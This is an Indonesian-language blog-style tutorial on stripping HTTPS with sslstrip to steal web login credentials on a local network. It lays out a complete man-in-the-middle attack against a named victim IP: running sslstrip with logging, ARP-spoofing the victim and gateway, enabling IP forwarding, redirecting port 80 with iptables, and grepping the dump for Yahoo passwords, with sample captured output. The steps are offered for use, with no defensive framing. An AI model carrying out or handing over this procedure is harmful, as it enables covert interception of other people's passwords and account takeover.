sslstrip - hacking https

kali ini saya coba menjelaskan tentang hacking https connection menggunakan sslstrip..
langsung ke TKP...berikut adalah beberapa informasi mengenai jaringan :
- ip attacker : 192.168.1.50
- ip victim : 192.168.1.200
- gateway : 192.168.1.5
sekilas mengenai sslstrip :

root@h4ck:~# sslstrip --help

Code:

sslstrip 0.1 by Moxie Marlinspike
 Usage: sslstrip

Options:
 -w , --write= Specify file to log to (optional).
 -p , --post Log only SSL POSTs. (default)
 -s , --ssl Log all SSL traffic to and from server.
 -a , --all Log all SSL and HTTP traffic to and from server.
 -l , --listen= Port to listen on (default 10000).
 -f , --favicon Substitute a lock favicon on secure requests.
 -k , --killsessions Kill sessions in progress.
 -h Print this help message

Code:

note :
 -opsi -a digunakan untuk logging semua trafic ( http,https)
 -opsi -s digunakan untuk logging traficc ssl saja
 -opsi -l digunakan untuk listen port ( meredirect port 80 victim,defaultnya 10000 )
 -opsi : -w : tempat file dump akan disimpan.

1.jalankan ssl strip :

root@h4ck:~# sslstrip -a -w laharisi

2.lakukan arpspoof terhadap victim

root@h4ck:~# root@h4ck:~# arpspoof -i vmnet1 -t 192.168.1.200 192.168.1.5

akftifkan fungsi ip_forward :

root@h4ck:~# echo 1 > /proc/sys/net/ipv4/ip_forward

3.redirect komunikasi http victim ( port 80 ) ke port yang di gunakan sslstrip ( 10000)

root@h4ck:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000

4. ketika victim melakukan login misalnya mail.yahoo.com,maka kita bisa melihat username dan password loginnya..caranya buka file dump ( laharisi )

root@h4ck:~# cat laharisi | grep -i "passwd="

Code:

url+="?";if(valid_js()){var passwd=form.passwd.value;var challen
 function hash2(form){var passwd=form.passwd.value
 2009-06-30 19:22:34,004 SECURE POST Data (login.yahoo.com):  .tries=1&.src=ym&.md5=&.hash=&.js=&.last=&promo=&.intl=us&.bypass=&.partner=&

kita bisa melihat bahwa username = bl4ck.4ngle dan password = disembunyikan
